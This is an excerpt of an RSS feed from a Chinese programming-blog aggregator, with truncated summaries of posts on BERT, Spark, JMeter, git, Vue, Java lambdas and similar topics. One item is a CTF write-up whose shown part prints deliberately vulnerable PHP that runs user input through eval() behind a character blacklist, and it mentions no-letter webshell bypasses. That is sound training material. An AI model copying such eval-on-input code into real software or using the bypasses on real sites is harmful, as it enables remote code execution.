      <description>BERT 1.前言 self-supervised learning是一种无监督学习的特殊形式，算法从数据本身生成标签或者目标，然后利用这些生成的目标来进行学习。（也就是说数据集的标签是模型自动生成的，不是由人为提供的。）例如，可以通过在图像中遮挡一部分内容来创建自监督任务，让模型预测被遮挡的内容。self-supervised learning 应用十分广泛，不仅用于文字方面，还可以用于语音和图像上。&#xA;self-supervised Learning 自监督学习的一些模型如下：&#xA;ELMO（Embeddings from Language Models）—&amp;gt; 最原始的&#xA;BERT（Bidirectional Encoder Representations from Transformers）&#xA;ERNIE（Enhanced Representation through Knowledge Integration）&#xA;Big Bird（Transformers for Longer Sequences）&#xA;GPT-3 —&amp;gt; 有 175 billion 个参数&#xA;2.BERT结构 BERT 是一个非常巨大的模型，有340 million 个参数。BERT的架构就是 Transformer 的 Encoder 部分（self-attention，residual，normalization）。&#xA;训练BERT有俩种方式：Masking Input 和 Next Sentence Prediction&#xA;1.Masking Input&#xA;BERT 的输入，某些部分被随机的盖住，盖住有两种方式（随机的选择一种盖住方式）：&#xA;MASK：将句中的一些符号换为MASK符号。（这个MASK是一个新的符号，字典中没有的，表示盖住）Random：随机把某一个字换为另外一个字（随机从字典中挑选一个词盖住）。 输入通过BERT后就得到了对应的Sequence（但是只关注输入被盖住所输出的 vector），然后通过Linear transformer（Linear transformer的意思就是乘以一个矩阵），并进行Softmax，就可以得到一个有关所有符号的概率分布。在训练的时候，将真实值与预测出来的值进行对比，通过minimize cross entropy不断缩小损失，进而提升模型的ACU。&#xA;2.Next Sentence Prediction&#xA;从资料库里面随机选两个句子，在句子中间加入一个特殊符号 [SEP] 来代表分割。在最前面加入一个特别的符号 [CLS]。将这个整体送入BERT中，在得到的sequence中只关注 [CLS] 对应输出的vector。然后经过一个Linear transformer，来进行一个二元的预测（Yes or No），表示这两个句子是否是相连接的。</description>
    </item>
    <item>
      <title>基于gmime2.6库的邮件解码程序</title>
      <link>https://bchobby.github.io/posts/38a03c6d2fe3053373e50a2ef0872d3b/</link>
      <pubDate>Mon, 25 Dec 2023 16:31:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38a03c6d2fe3053373e50a2ef0872d3b/</guid>
      <description>libgmime 是一个用于处理 MIME 数据的 C 语言库。它提供了对 MIME 消息的解析、生成和操作等功能。&#xA;下载：https://download.csdn.net/download/farsight_2098/88660821?spm=1001.2014.3001.5503&#xA;获取去网上下载：https://mirror.tuna.tsinghua.edu.cn/sourceware/cygwin/x86_64/release/gmime2.6/?C=S&amp;amp;O=A&#xA;编译 ./configure;make;&#xA;会报错&#xA;est-pkcs7.c:36:10: fatal error: gpg-error.h: 没有那个文件或目录&#xA;36 | #include &amp;lt;gpg-error.h&amp;gt;&#xA;| ^~~~~~~~~~~~~&#xA;不影响，&#xA;gmime2.6-2.6.23-2.src/gmime-2.6.23$ find ./ -name &#34;lib*.so&#34;&#xA;./gmime/.libs/libgmime-2.6.so&#xA;已经生成了&#xA;简单演示一个宏GMIME_IS_PART的用法，&#xA;宏GMIME_IS_PART用于检查一个对象是否是 GMimePart 类型。GMimePart 是 libgmime 中用于表示 MIME 消息或消息部分的类。&#xA;在使用 libgmime 库处理 MIME 消息，可能会遇到需要检查一个对象是否是 GMimePart 的情况。这时，可以使用 GMIME_IS_PART 宏来方便地进行类型检查。&#xA;#include &amp;lt;gmime/gmime.h&amp;gt; void part_bodystructure (GMimeObject *part) { GMimeParam *param; if (GMIME_IS_MULTIPART (part)) { GMimeMultipart *multipart = (GMimeMultipart *) part; GMimeObject *subpart; int i, n; n = g_mime_multipart_get_count (multipart); for (i = 0; i &amp;lt; n; i++) { subpart = g_mime_multipart_get_part (multipart, i); part_bodystructure (subpart); } } else if (GMIME_IS_MESSAGE_PART (part)) { GMimeMessage *message; const char *str; char *nstring; message = GMIME_MESSAGE_PART (part)-&amp;gt;message; nstring = g_mime_message_get_date_as_string (message); printf ( &#34;</description>
    </item>
    <item>
      <title>spark：RDD编程（Python版）</title>
      <link>https://bchobby.github.io/posts/1b4c77cb911f015c0bdd60795860a28c/</link>
      <pubDate>Mon, 25 Dec 2023 16:05:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b4c77cb911f015c0bdd60795860a28c/</guid>
      <description>RDD运行原理 RDD设计背景 许多选代目前的MapReduce框架都是把中间结果写入到稳定存储 (比如磁盘)中带来了大量的数据复制、磁盘IO和序列化开销&#xA;RDD就是为了满足这种需求而出现的，它提供了一个抽象的数据架构，我们不必担心底层数据的分布式特性，只需将具体的应用逻辑表达为一系列转换处理，不同RDD之间的转换操作形成依赖关系，可以实现管道化，避免中间数据存储。&#xA;RDD概念 一个RDD就是一个分布式对象集合，本质上是一个只读的分区记录集合，每个RDD可分成多个分区，每个分区就是一个数据集片段，并且一个RDD的不同分区可以被保存到集群中不同的节点上，从而可以在集群中的不同节点上进行并行计算&#xA;RDD提供了一种高度受限的共享内存模型，即RDD是只读的记录分区的集合，不能直接修改，只能基于稳定的物理存储中的数据集创建RDD，或者通过在其他RDD上执行确定的转换操作(如map、join和group by) 而创建得到新的RDD&#xA;RDD提供了一组丰富的操作以支持常见的数据运算，分为“动作”(Action)和“转换” (Transformation)两种类型&#xA;RDD提供的转换接口都非常简单，都是类似map、filter、groupBy、join等粗粒度的数据转换操作，而不是针对某个数据项的细粒度修改(不适合网页爬虫)&#xA;表面上RDD的功能很受限、不够强大，实际上RDD已经被实践证明可以高效地表达许多框架的编程模型(比如MapReduce、SQL、Pregel)&#xA;Spark提供了RDD的API，程序员可以通过调用API实现对RDD的各种操作&#xA;RDD运行过程 通过上述对RDD概念、依赖关系和Stage划分的介绍，结合之前介绍的Spark运行基本流程，再总结一下RDD在Spark架构中的运行过程:&#xA;(1)创建RDD对象;&#xA;(2)SparkContext负责计算RDD之间的依赖关系，构建DAG;&#xA;(3)DAGScheduler负责把DAG图分解成多个Stage，每个Stage中包含了多个Task,每个Task会被TaskScheduler分发给各个WorkerNode上的Executor去执行。&#xA;RDD编程基础 1. RDD创建 从文件系统中加载数据创建RDD &amp;gt;&amp;gt;&amp;gt; lines = sc.textFile(&#34;file:///opt/spark/mycode/rdd/word.txt&#34;) &amp;gt;&amp;gt;&amp;gt; lines.foreach(print) Hadoop is good Spark is fast Spark is better 从分布式文件系统HDFS中加载数据 &amp;gt;&amp;gt;&amp;gt;lines = sc.textFile(&#34;hdfs://localhost:9000/user/hadoop/word.txt&#34;) &amp;gt;&amp;gt;&amp;gt;lines = sc.textFile(&#34;/user/hadoop/word.txt&#34;) &amp;gt;&amp;gt;&amp;gt;lines = sc.textFile(&#34;word.txt&#34;) 三条语句等价&#xA;通过并行集合（列表）创建RDD 可以调用SparkContext的parallelize方法，在Driver中一个已经存在的集合（列表）上创建。&#xA;&amp;gt;&amp;gt;&amp;gt;array = [1, 2, 3, 4, 5] &amp;gt;&amp;gt;&amp;gt;rdd = sc.parallelize(array) &amp;gt;&amp;gt;&amp;gt;rdd.foreach(print) 1 2 3 4 5 2. RDD操作 1.</description>
    </item>
    <item>
      <title>【RocketMQ】Console页面报错：rocketmq remote exception，connect to xxx failed.</title>
      <link>https://bchobby.github.io/posts/e10e51a3c0976e14afaef41aea35c23a/</link>
      <pubDate>Mon, 25 Dec 2023 16:02:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e10e51a3c0976e14afaef41aea35c23a/</guid>
      <description>现象 console报错，无法连接该节点，把该节点杀掉，还是继续报错，重启之后，报错的端口变成11911。&#xA;分析 正常一个broker会启动三个端口，不同版本的规律不太一样，4.X版本是：&#xA;配置文件中的listenPortlistenPort - 2listenPort + 2 查看配置文件，11911为broker的监听端口。&#xA;日志正常，无法定位问题：&#xA;尝试修改端口为11919后重启，三个端口都正常了，问题解决：&#xA;经测试，非正常杀掉该broker，会复现以上问题，导致三个端口中有一个不能正常建立，该虚机之前非正常重启过，怀疑是什么原因导致进程杀掉后端口没有正常释放。</description>
    </item>
    <item>
      <title>一文彻底搞懂“内存管理”</title>
      <link>https://bchobby.github.io/posts/be57688e3a3c6c280eb935011f6a7855/</link>
      <pubDate>Mon, 25 Dec 2023 15:53:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be57688e3a3c6c280eb935011f6a7855/</guid>
      <description>V1.0：直接使用物理地址 最开始的时候，计算机只允许运行一个进程，内存也只有几百 KB 大小，那时候的世界很简单也很美好，保留一部分内存空间给 OS 使用，剩下的都是这个进程的专属空间，想怎么用怎么用，如图 1-1。&#xA;本文福利， 免费领取C/C++ 开发学习资料包、技术视频/代码，1000道大厂面试题，内容包括（C++基础，网络编程，数据库，中间件，后端开发/音视频开发/Qt开发/游戏开发/Linuxn内核等进阶学习资料和最佳学习路线）↓↓↓↓↓↓见下面↓↓文章底部点击免费领取↓↓&#xA;但为了更高效地利用 CPU 的计算资源，OS 需要支持&#34;同时&#34;运行多个进程，此时内存空间按固定大小被瓜分为几块，分属于各个进程使用，如图 1-2。&#xA;由于是直接使用内存物理地址，如果这些进程都很&#34;本分&#34;，只访问自己的空间，那么一切都还正常，但如果某个进程闯入他人的领地，胡作非为呢?可控性是个问题。&#xA;V2.0：增加抽象转换层，使用虚拟地址 当考虑到增加管控、安全校验、动态分配等问题时，增加一层抽象进行&#34;代理&#34;往往是一个通用的解决方案。&#xA;到 2.0，进程不再被允许直接使用物理内存空间，而是使用从 0 开始编码的虚拟地址，经由 MMU(Memory Management Unit)转换得到实际地址，然后才能到内存中获取到数据。&#xA;中间层 MMU 会检查虚拟地址的有效性和合法性，从而保证安全性。&#xA;考虑到内存空间使用的灵活性，内存按固定大小进行分页(Paging)，通常是 4KB，连续的虚拟地址页(VP，Virtual Page)，映射到物理地址页(PP, Physical Page)上，可以是分散的，这种灵活的设计可以提升物理内存的空间利用率，减少内存碎片。&#xA;既然有映射，自然需要存储映射关系表，即页表(Page Table)，Key 值是虚拟地址页号(Virtual Page Number)。&#xA;Value 值是包含有物理地址页号(PPN，Physical Page Number)的数据结构(PTE，Page Table Entry)，值得一提的是，页表不存在 MMU 里面，同样也是存在内存里。&#xA;图 2-1 简要地展示了虚拟地址到物理地址的转换过程：&#xA;为了方便说明，这里页大小设置为 16 字节(2^4，offset 占用 4bit)，总的物理内存大小有 8 页(2^3，PPN 占用 3bit)即 128 字节，虚拟内存至多使用 4 个页(2^2，vpn 占用 2bit)。&#xA;MMU 将一个 6bit 的虚拟地址转化为 7bit 的物理地址，其中通过页表完成 vpn 到 PPN 的转换，而 offset 部分保持不动。</description>
    </item>
    <item>
      <title>CLion Nova：全新的C/C&#43;&#43; IDE</title>
      <link>https://bchobby.github.io/posts/3b465852db306d889c5b99bc55cfa363/</link>
      <pubDate>Mon, 25 Dec 2023 15:32:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b465852db306d889c5b99bc55cfa363/</guid>
      <description>CLion Nova是一款备受期待的集成开发环境（IDE），由JetBrains专门为C/C++开发者设计。这款IDE提供了许多新的功能和改进，使用 ReSharper C++/Rider C++ 语言引擎而不是 CLion “传统” 引擎，以满足C/C++开发者的需求。目前预览版本将免费提供，并且可以与 CLion (Classic) 安装并行安装且只能通过 Toolbox 应用程序获得。&#xA;CLion Nova具有以下优点：&#xA;快速的编译速度：CLion Nova使用了全新的编译器技术，能够实现快速编译，减少等待时间。智能的代码提示：该IDE通过智能算法提供代码提示，帮助开发者更快速地编写代码，减少错误。强大的调试功能：CLion Nova提供了强大的调试工具，帮助开发者定位和修复代码中的问题。 然而，CLion Nova也存在一些缺点：&#xA;占用服务器资源：由于其强大的功能和算法，CLion Nova可能会占用大量的服务器CPU和内存资源。学习曲线：对于初学者来说，由于CLion Nova的功能较为丰富，可能需要一段时间来熟悉和掌握。 总的来说，CLion Nova是一款功能强大、性能卓越的C/C++ IDE，能够为开发者提供更好的开发体验。但是，在使用过程中需要注意其可能存在的资源占用问题。</description>
    </item>
    <item>
      <title>JMeter（十五）-JMeter监听器</title>
      <link>https://bchobby.github.io/posts/c1a74502b6b4044de3653a70d6e6a832/</link>
      <pubDate>Mon, 25 Dec 2023 15:14:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1a74502b6b4044de3653a70d6e6a832/</guid>
      <description>十五、JMeter监听器 1.简介 监听器用来监听及显示JMeter取样器测试结果，能够以树、表及图形形式显示测试结果，也可以以文件方式保存测试结果，JMeter测试结果文件格式多样，比如XML格式、CSV格式。默认情况下，测试结果将被存储为xml格式的文件，文件的后缀: &#34;.jtl&#34;。另外一种存储格式为CSV文件，该格式的好处就是效率更高，但存储的信息不如xml格式详细。&#xA;比较常用监听器：&#xA;查看结果树、聚合报告、用表格查看结果、响应时间图、&#xA;2.预览监听器 首先我们来看一下JMeter的监听器，路径：线程组（用户）-&amp;gt;添加-&amp;gt;监听器；我们可以清楚地看到JMeter5中共有16个监听器（不包括jp@gc开头的监听器，这个是安装的插件），如下图所示：&#xA;3.常用监听器详解 3.1 察看结果树 察看结果树，显示取样器请求和响应的细节以及请求结果，包括消息头，请求的数据，响应的数据。&#xA;（1）察看结果树，放的位置不同，查看的结果也不同。在线程组下添加察看结果树，查看线程组下所有请求的结果；放在具体某个请求下，只查看此请求的结果；若放在某个控制器节点下，则查看此控制器下节点执行的结果；&#xA;（2）该监听器推荐做调试用，在实际运行压测时，应该禁用，因为大量请求时，启用该监听器时打印的日志比较多，会造成大IO消耗，影响压力机性能。&#xA;3.1.1新建：线程组 &amp;gt; 添加 &amp;gt; 监听器 &amp;gt; 察看结果树，如下图所示：&#xA;3.1.2关键参数说明如下：&#xA;文件名：载入文件名&#xA;显示日志内容: 仅错误日志、仅成功日志 ；勾选中显示对应的日志信息&#xA;配置：定义report中自己所关心的数据项。&#xA;取样器结果：&#xA;Thread Name: 线组名称Sample Start: 启动开始时间Load time: 加载时长Latency: 等待时长Size in bytes: 发送的数据总大小Headers size in bytes: 发送头大小Body size in bytes: 发送数据的其余部分大小Sample Count: 发送统计Error Count: 错误统计Response code: 返回码Response message: 返回消息Response headers:返回头信息 请求&#xA;数据获取方式、路径、地址等以及传递的参数、cookie 响应数据&#xA;响应加载的页面html 3.1.3作用&#xA;1）查看请求结果，请求成功的测试通常为绿色；红色则代表失败。&#xA;注：在没有对请求断言的情况下，显示绿色并不一定是成功，只代表响应码是200或300系列，显示红色说明响应码是400或500系列。所以要想确定请求返回的是正确的，必须要加上断言，只有断言成功才会显示绿色。&#xA;2）查看对应Sampler的测试结果的请求、响应数据。&#xA;取样器结果：显示的是取样器相关参数（客户端参数与响应参数）&#xA;请求：发送请求的具体内容&#xA;响应数据：服务器返回的相应参数&#xA;3.2 汇总报告 汇总报告，为测试中的每个不同命名的请求创建一个表行。这与聚合报告类似，只是它使用更少的内存。提供了最简要的测试结果信息，同时可以配置将相应的信息保存至指定的文件中（支持xml、csv格式的文件）。</description>
    </item>
    <item>
      <title>vue 后台面包屑导航</title>
      <link>https://bchobby.github.io/posts/ce3eb4a4efa024f9a2bcc9895b44d8b5/</link>
      <pubDate>Mon, 25 Dec 2023 15:09:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce3eb4a4efa024f9a2bcc9895b44d8b5/</guid>
      <description>效果图 gitee 项目地址可以直接下载项目。&#xA;如图效果需要用到Element-ui中的Element-ui面包屑和Element-ui Tag组件，再使用vuex进行和sessionStorage做到持久化储存。&#xA;先看一下页面结构&#xA;1、创建路由 脚手架项目创建的时候选择vue-router或者直接使用命令 npm install vue-router 注意npm下载的话vue2要使用vue-router3版本，vue3使用vue-router4版本，npm install vue-router @3。&#xA;import Vue from &#39;vue&#39; import VueRouter from &#39;vue-router&#39; import Index from &#39;../views/index.vue&#39; import IndexView from &#39;../views/IndexViews/IndexView&#39; import EchartsZx from &#39;../views/EchartsViews/EchartsZx&#39; import EchartsZz from &#39;../views/EchartsViews/EchartsZz&#39; import EchartsBz from &#39;../views/EchartsViews/EchartsBz&#39; Vue.use(VueRouter) const routes = [ { path:&#39;/&#39;, name:&#39;&#39;, component:Index, redirect:&#39;/IndexView&#39;, children:[ { path: &#39;/IndexView&#39;, name: &#39;首页&#39;, component:IndexView }, { path: &#39;/EchartsZx&#39;, name: &#39;折线图&#39;, component:EchartsZx }, { path: &#39;/EchartsZz&#39;, name: &#39;柱状图&#39;, component:EchartsZz }, { path: &#39;/EchartsBz&#39;, name: &#39;饼状图&#39;, component:EchartsBz } ] }, ] //解决重复点击路由跳转报错 const VueRouterPush = VueRouter.</description>
    </item>
    <item>
      <title>使用 git-cherry-pick 迁移提交</title>
      <link>https://bchobby.github.io/posts/2b92ffac542903b676d69e648ff441ca/</link>
      <pubDate>Mon, 25 Dec 2023 15:06:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b92ffac542903b676d69e648ff441ca/</guid>
      <description>参考 git-cherry-pick&#xA;后续补上</description>
    </item>
    <item>
      <title>【Java】lambda表达式和方法引用详解（jdk1.8新特性）</title>
      <link>https://bchobby.github.io/posts/75d0945c34ad35aefd9f8327800d1018/</link>
      <pubDate>Mon, 25 Dec 2023 15:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75d0945c34ad35aefd9f8327800d1018/</guid>
      <description>1、lambda表达式（jdk1.8） lambda表达式是用来简化函数式接口的匿名内部类的写法的。&#xA;在Java编程语言中，匿名内部类是一个特殊的类，它没有明确的类名，通常用于简化代码和实现接口。匿名内部类的定义位于一个类的局部位置，例如方法中或代码块中。&#xA;函数式接口在Java中是指仅有一个抽象方法的接口。这种接口可以用作函数式参数、返回值或者赋值给函数式变量。大部分函数式接口上可能都会有一个@FunctionalInterface的注解。&#xA;lambda表达式写法如下：&#xA;函数式接口 名称=(参数)-&amp;gt;{ //函数式接口唯一方法的实现 } 当匿名内部类的引用传递给接口类型或者抽象类类型，如果发现类型是函数式接口，那很明显匿名内部类重写的方法必定是函数式接口的唯一方法，因此，匿名内部类的写法可以得到简化。&#xA;由此也可以看出，并不是所有匿名内部类都能使用lambda表达式。只有函数式接口才能使用lambda表达式。&#xA;一个将函数式接口的匿名内部类化为lambda表达式的完整例子：&#xA;//匿名内部类 Comparator&amp;lt;Integer&amp;gt; comparator = new Comparator&amp;lt;Integer&amp;gt;() { @Override public int compare(Integer num1, Integer num2) { // 比较两个整数的大小 return num1 - num2; } }; //函数式接口 Comparator&amp;lt;Integer&amp;gt; comparator = (num1, num2) -&amp;gt; {return num1 - num2;}; lambda表达式在某些情况下可以略写。以下是lambda表达式的省略规则。&#xA;参数类型可以省略不写如果只有一个参数，参数的括号可以省略不写如果lambda表达式中的方法体代码中只有一行代码，可以省略方法体的大括号不写（同时要省略这行代码的分号），此时如果这行代码是return语句，也必须要把return语句省略掉。 2、方法引用（jdk1.8） lambda表达式是对函数式接口的匿名内部类的简化，那lambda表达式之中创建的对象、调用的方法是否有机会进行简化呢？这就是方法引用。&#xA;方法引用的目的是为了进一步简写lambda表达式。它的标志性符号是::。&#xA;方法引用可以分为静态方法引用、实例方法引用、特定类型的方法引用以及构造器引用。&#xA;2.1、静态方法引用 如果某个lambda表达式中，只有一个类调用了它的静态方法，并且传入静态方法的参数与lambda表达式的参数类型一致，那么可以使用方法引用进行简化。&#xA;public class Main { public static void main(String[] args) { ArrayList&amp;lt;Integer&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); list.</description>
    </item>
    <item>
      <title>git log 命令小结</title>
      <link>https://bchobby.github.io/posts/d912dff59c48c9c2783c9e71591a8b89/</link>
      <pubDate>Mon, 25 Dec 2023 14:54:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d912dff59c48c9c2783c9e71591a8b89/</guid>
      <description>git log 用于查找提交记录。&#xA;常用命令：&#xA;1.直接输出 直接输出： git log&#xA;输出结果格式为：&#xA;commit 2827c3f04d5da2bba393df87051380b33314b073 Author: username &amp;lt;user email&amp;gt; Date: Fri Apr 23 16:17:49 2021 +0800 add some file commit 2bf031908406da141652cd54791beba26937cf09 Author: username &amp;lt;user email&amp;gt; Date: Fri Apr 23 16:16:52 2021 +0800 fix a ui bug 比较占用屏幕空间。&#xA;2.查找 commit 信息中包含关键字的记录 git log --grep=key&#xA;3.查找某个 author 的提交记录 git log --author=James&#xA;4.查找某个 committer 的提交记录 git log --committer=Tom&#xA;author 和 committer 的差异是，某个文件最初是 author （James）创建的，但是是由 committer（Tom）修改并提交了。&#xA;5.查看某个 commit_id 的具体内容 git show commit_id ，就会显示具体的修改差异</description>
    </item>
    <item>
      <title>微信小程序列表页上拉加载更多数据-入门</title>
      <link>https://bchobby.github.io/posts/2c3ecafd2404d9ecff4a8c3b9aedad78/</link>
      <pubDate>Mon, 25 Dec 2023 14:50:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c3ecafd2404d9ecff4a8c3b9aedad78/</guid>
      <description>onShow(){ this.getList() //也可以放在onLoad里面看实际需求 } getList() { util.request(api.teachPlanOwnList, { //这里是请求的接口和方式 不重要 userId: userInfo.userId, pageSize: pageSize, pageNum: pageNum, sortType: sortType }, &#39;POST&#39;).then(res =&amp;gt; { // console.log(res); if (res.code == 200) { let list = this.data.planList.concat(res.rows.map(item=&amp;gt;{ //对数据做处理 不重要 let createTime = item.createTime.split(&#34; &#34;)[0].replace(/-/g, &#34;.&#34;); item.createTime = createTime; if(!item.scheduledTime || item.scheduledTime == &#39;null&#39;){ item.scheduledTime = &#39;未安排时间&#39; } return item; })); this.setData({ planList: list //这里是重点 }) // 判断是否加载完毕 if (list.length &amp;gt;= res.total) { //这里是重点 this.</description>
    </item>
    <item>
      <title>python做简单的笑脸的编程,如何用python画一个笑脸</title>
      <link>https://bchobby.github.io/posts/dc9fa61ce345fe084afb797c3a30414b/</link>
      <pubDate>Mon, 25 Dec 2023 14:40:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc9fa61ce345fe084afb797c3a30414b/</guid>
      <description>这篇文章主要介绍了python画笑脸步骤的中文翻译，具有一定借鉴价值，需要的朋友可以参考下。希望大家阅读完这篇文章后大有收获，下面让小编带着大家一起了解一下。&#xA;大家好，本文将围绕python画笑脸步骤的中文翻译展开说明，python做简单的笑脸的编程是一个很多人都想弄明白的事情，想搞清楚python画简单笑脸代码需要先了解以下几个事情。&#xA;用python的Turtle库画一个笑脸 最近刚了解到python的turtle库，就简单的尝试一下，画一个笑脸python编程代码中如何注释。&#xA;效果图：&#xA;效果图看起来和原图的差别还是有点大，但是没关系，这只是一个尝试而已如何安装python安装包。&#xA;附上代码：&#xA;import turtle #导入库 turtle.TurtleScreen._RUNNING=True #用来避免xx问题，具体什么问题我忘记了 pen = turtle.Pen() pen.speed(10) #设置笔速度 #画外圆 pen.pencolor() #设置笔颜色 pen.penup() #提笔 pen.goto(0,-100) #移动位置 pen.pendown() #放笔 pen.begin_fill() #开始填充 pen.circle(100) #画半径为100的圆 pen.fillcolor(&#34;#FFFF00&#34;) #填充颜色 pen.end_fill() #结束填充 #画眼睛 def draweye(x): #画眼函数 pen.pencolor() pen.penup() pen.goto(x,0) pen.pendown() pen.begin_fill() pen.circle(25) pen.fillcolor(&#34;#F8F8FF&#34;) pen.end_fill() pen.begin_fill() pen.circle(15) pen.fillcolor(&#34;#000000&#34;) pen.end_fill() draweye(-40) #画左眼 draweye(40) #画右眼 #画嘴巴 pen.right(60) pen.penup() pen.goto(-65,-30) pen.pendown() pen.circle(75,120) #勾股定理求出75 #将画笔移动中间 pen.penup() pen.setheading(-90) pen.goto(0,-20) #结束画图 turtle.done() emm，我自己都觉得太难看了。</description>
    </item>
    <item>
      <title>[SWPUCTF 2021 新生赛]hardrce</title>
      <link>https://bchobby.github.io/posts/52c66a614e1966671f8401cec4d0a95c/</link>
      <pubDate>Mon, 25 Dec 2023 14:39:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52c66a614e1966671f8401cec4d0a95c/</guid>
      <description>[SWPUCTF 2021 新生赛]hardrce wp 参考博客：https://www.cnblogs.com/bkofyZ/p/17644820.html&#xA;代码审计 题目的代码如下：&#xA;&amp;lt;?php header(&#34;Content-Type:text/html;charset=utf-8&#34;); error_reporting(0); highlight_file(__FILE__); if(isset($_GET[&#39;wllm&#39;])) { $wllm = $_GET[&#39;wllm&#39;]; $blacklist = [&#39; &#39;,&#39;\t&#39;,&#39;\r&#39;,&#39;\n&#39;,&#39;\+&#39;,&#39;\[&#39;,&#39;\^&#39;,&#39;\]&#39;,&#39;\&#34;&#39;,&#39;\-&#39;,&#39;\$&#39;,&#39;\*&#39;,&#39;\?&#39;,&#39;\&amp;lt;&#39;,&#39;\&amp;gt;&#39;,&#39;\=&#39;,&#39;\`&#39;,]; foreach ($blacklist as $blackitem) { if (preg_match(&#39;/&#39; . $blackitem . &#39;/m&#39;, $wllm)) { die(&#34;LTLT说不能用这些奇奇怪怪的符号哦！&#34;); }} if(preg_match(&#39;/[a-zA-Z]/is&#39;,$wllm)) { die(&#34;Ra&#39;s Al Ghul说不能用字母哦！&#34;); } echo &#34;NoVic4说：不错哦小伙子，可你能拿到flag吗？&#34;; eval($wllm); } else { echo &#34;蔡总说：注意审题！！！&#34;; } ?&amp;gt; 蔡总说：注意审题！！！ 其中设置了一个黑名单 $blacklist 过滤了许多字符；&#xA;此外 preg_match(&#39;/[a-zA-Z]/is&#39;,$wllm) 过滤了所有大小写字母。&#xA;无字母 RCE 首先推荐一篇博客：老生常谈的无字母数字 Webshell 总结 。&#xA;无字母数字绕过，就是把非字母数字的字符经过各种转换，变为数字和字母。&#xA;由于黑名单中 ’ $ ’ ， ’ ^ ‘，’ ` ’ ，’ &#34;</description>
    </item>
    <item>
      <title>git 分支的使用</title>
      <link>https://bchobby.github.io/posts/41c5b153cb5eb45db971c279d1fc2194/</link>
      <pubDate>Mon, 25 Dec 2023 14:28:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41c5b153cb5eb45db971c279d1fc2194/</guid>
      <description>参考 Git 分支 - 分支的新建与合并&#xA;1.创建分支 1.1 创建本地分支 创建本来不存在的分支 dev_test 并且切换到该分支&#xA;git checkout -b dev_test&#xA;等同于这两条命令：&#xA;git branch dev_test&#xA;git checkout dev_test&#xA;1.2 将本地分支推动到远程 将创建的本地分支推送到远程。这样，其他人也可以看到、操作这个分支了。&#xA;git push origin dev_test:dev_test&#xA;2.分支操作 2.1 拉取远程分支到本地 拉取远程分支（origin/dev_test） 到本地，本地就有了 dev_test 分支&#xA;git fetch origin dev_test:dev_test&#xA;2.2 将本地分支和远程分支关联 将本地分支和远程分支关联，这样本地分支在可以执行 git pull 、git push 等操作。&#xA;git branch --set-upstream-to=origin/dev_test dev_test&#xA;关联之后可以用 git branch -vv 、git branch -va 命令查看当前分支情况。&#xA;2.3 在分支上操作 分支上的提交方法和主分支一样。&#xA;2.4 分支的修改合并到主分支 回到主分支，然后使用 git merge 合并分支的修改</description>
    </item>
    <item>
      <title>微信开发---------扫描二维码事情该怎么做?</title>
      <link>https://bchobby.github.io/posts/326760029e1add70816042002e2cb900/</link>
      <pubDate>Mon, 25 Dec 2023 14:20:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/326760029e1add70816042002e2cb900/</guid>
      <description>目录&#xA;说明&#xA;微信公众号文档&#xA;表结构&#xA;思路&#xA;处理器&#xA;说明 本例基于wx-tools.jar&#xA;微信公众号文档 微信公众号文档告诉我们,是有两种扫描二维码事件的,如果是已经关注过公众号的,则是event=scan,如果没有关注过的,则是event=subscribe,他们的event是不同的.&#xA;我们在设计详细需求的时候一般是event=scan这种比较多的,比如扫描二维码后可以做什么.但也有event=subscribe这种需求情况,比如拉新用户扫描关注获得多少积分.&#xA;表结构 基础表有两张,其他随着需求的增加而看.&#xA;基础表wx_qr&#xA;CREATE TABLE `wx_qr` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT &#39;自增id&#39;, `ticket` varchar(300) DEFAULT NULL COMMENT &#39;二维码票据&#39;, `type` int(11) DEFAULT NULL COMMENT &#39;二维码类型/枚举索引&#39;, `create_time` datetime DEFAULT NULL COMMENT &#39;创建时间&#39;, `body` varchar(100) DEFAULT NULL COMMENT &#39;携带的数据&#39;, `over` tinyint(1) DEFAULT NULL COMMENT &#39;二维码是否关闭?当关闭时,就没有用了.&#39;, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=74 DEFAULT CHARSET=utf8 基础表wx_qr_user&#xA;CREATE TABLE `wx_qr_user` ( `quid` int(11) NOT NULL AUTO_INCREMENT COMMENT &#39;自增id&#39;, `qrid` int(11) DEFAULT NULL COMMENT &#39;二维码id&#39;, `userid` int(11) DEFAULT NULL COMMENT &#39;扫描的用户&#39;, `create_time` datetime DEFAULT NULL COMMENT &#39;创建时间&#39;, `is_effective` tinyint(1) DEFAULT NULL COMMENT &#39;扫描是否有效&#39;, PRIMARY KEY (`quid`) ) ENGINE=InnoDB AUTO_INCREMENT=54 DEFAULT CHARSET=utf8 扫码这个动作在后台是需要三步走的:1.</description>
    </item>
    <item>
      <title>7个Python爬虫小案例，人人都能用到，适合零基础小白！</title>
      <link>https://bchobby.github.io/posts/da7f9eb9055457fb147b893bfcdaf922/</link>
      <pubDate>Mon, 25 Dec 2023 13:52:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da7f9eb9055457fb147b893bfcdaf922/</guid>
